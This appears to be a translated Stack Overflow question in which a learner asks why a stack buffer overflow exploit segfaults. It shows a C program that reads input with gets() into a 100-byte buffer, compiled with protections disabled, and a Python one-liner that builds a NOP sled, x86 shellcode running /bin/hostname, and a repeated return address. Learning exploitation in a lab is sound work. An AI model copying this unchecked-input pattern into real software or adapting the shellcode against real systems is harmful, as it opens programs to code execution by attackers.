【发布时间】:2014-12-20 14:23:05
【问题描述】:
我必须在下面的缓冲区溢出程序中注入代码。该代码应打印主机名。我有一个有效的操作码 (\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80)。我使用了 NOP 和重复的返回地址。但是我无法用它运行代码,而且我总是会遇到分段错误。谁能帮我解决这个问题?
易受攻击的.c
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char * * argv)
{
char * stuff = 0;
int len = 0;
vulnerable();
return 0;
}
int
vulnerable(void)
{
char buf[100];
printf("enter your name: ");
fflush(stdout);
gets(buf);
printf("\"%s\"\n Welcome", buf );
}
我用
编译了上面的程序gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o vulnerable vulnerable.c
Shellcode.py
print "\x90"*51 +"\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80" + "\xd8\xf3\xff\xbf"*6
我已经在命令行中调用了这个python程序
python shellcode.py | ./vulnerable
【问题讨论】:
-
您使用的是什么操作系统?您是否禁用了所有堆栈保护?
-
您必须禁用堆栈保护,然后使用调试器查看发生了什么。
-
我在 Linux 12.04 上使用它。我禁用了 ASLR,堆栈保护。要输入我使用过的 python 的 shellcode。
-
@Maddy 请使用此信息编辑您的问题。
-
如果你有兴趣,围绕这篇文章的元讨论是here
标签: c buffer-overflow